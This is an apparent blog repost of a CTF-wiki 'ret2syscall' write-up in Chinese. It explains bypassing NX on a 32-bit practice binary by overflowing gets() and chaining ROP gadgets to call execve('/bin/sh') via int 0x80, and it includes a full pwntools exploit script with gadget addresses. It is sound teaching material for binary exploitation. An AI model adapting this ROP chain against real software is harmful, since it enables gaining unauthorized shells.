zoukankan      html  css  js  c++  java
  • [WP]CTFwiki-syscall

    1.例行运行并检查程序,32位程序,开启了 NX 保护,这时我们之前写入 shellcode 执行就会失效

    2.依然是通过 gets() 来覆盖返回值,当然尽管找到了 /bin/sh 字符串,我们并没有 system("/bin/sh") 来开启shell,这时我们需要调用系统中的函数,(ps:一个系统函数会有一个对应的系统调用号,这个我们可以在 Linux Syscall Reference 查询到)。

    3.这里我们调用 execve() 来实现开启 shell。向 EAX 传入0x0b,EBX 中传入"/bin/sh", ECX 和 EDX 传入  0。

     

    4.确定覆盖长度

    5.寻找 gadget 来向寄存器传参,以此来构造 exp。当然 gadget 的利用并不唯一,能达到效果即可

     

    6.这里我选用了如下几个 gadget

    0x080bb196 : pop eax ; ret
    0x0806eb91 : pop ecx ; pop ebx ; ret
    0x0806eb6a : pop edx ; ret

    7.构造 EXP

    #!/usr/bin/env python 
    from pwn import *
    
    p = process('./rop')
    #EBP: 0xffffd178 --> 0x8049630 (<__libc_csu_fini>:    push   ebx)
    #ESP: 0xffffd0f0 --> 0xffffd10c --> 0x3
    bin_sh = 0x080BE408
    call_gets = 0x08048E96
    pop_eax = 0x080bb196
    pop_ecx_ebx = 0x0806eb91
    pop_edx = 0x0806eb6a
    int_0x80 = 0x08049421
    payload = 'a'* (0x6c+4)
    payload += p32(pop_eax)
    payload += p32(0xb)
    payload += p32(pop_ecx_ebx)
    payload += p32(0)
    payload += p32(bin_sh)
    payload += p32(pop_edx)
    payload += p32(0)
    payload += p32(int_0x80)
    p.recvuntil('?')
    p.sendline(payload)
    p.interactive()

  • 相关阅读:
    logback使用
    数据库阿里连接池 配置
    expect.js
    shim和polyfill有什么区别
    console.js还有浏览器不支持?
    vue项目如何实现剪切板功能--vue-clipboard2
    跟我一起使用webpack给一个开源项目添加一个运行入口
    Axure之添加点击页面
    Axure之母版窗口
    【react】react-reading-track
  • 原文地址:https://www.cnblogs.com/Tsuiyields/p/11877530.html
Copyright © 2011-2022 走看看